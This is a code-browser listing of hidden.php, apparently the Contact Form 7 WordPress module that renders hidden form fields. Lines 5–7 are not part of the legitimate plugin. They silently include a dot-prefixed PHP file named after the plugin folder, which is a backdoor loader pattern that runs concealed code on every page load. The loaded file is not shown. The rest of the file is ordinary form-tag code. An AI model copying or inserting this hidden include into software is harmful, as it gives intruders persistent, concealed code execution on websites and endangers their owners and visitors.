balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

hidden.php (1000B)


      1 <?php
      2 
      3 add_action( 'wpcf7_init', 'wpcf7_add_form_tag_hidden', 10, 0 );
      4 
      5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      6     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      7 }
      8 
      9 function wpcf7_add_form_tag_hidden() {
     10 	wpcf7_add_form_tag( 'hidden',
     11 		'wpcf7_hidden_form_tag_handler',
     12 		array(
     13 			'name-attr' => true,
     14 			'display-hidden' => true,
     15 		)
     16 	);
     17 }
     18 
     19 function wpcf7_hidden_form_tag_handler( $tag ) {
     20 	if ( empty( $tag->name ) ) {
     21 		return '';
     22 	}
     23 
     24 	$atts = array();
     25 
     26 	$class = wpcf7_form_controls_class( $tag->type );
     27 	$atts['class'] = $tag->get_class_option( $class );
     28 	$atts['id'] = $tag->get_id_option();
     29 
     30 	$value = (string) reset( $tag->values );
     31 	$value = $tag->get_default_option( $value );
     32 	$atts['value'] = $value;
     33 
     34 	$atts['type'] = 'hidden';
     35 	$atts['name'] = $tag->name;
     36 	$atts = wpcf7_format_atts( $atts );
     37 
     38 	$html = sprintf( '<input %s />', $atts );
     39 	return $html;
     40 }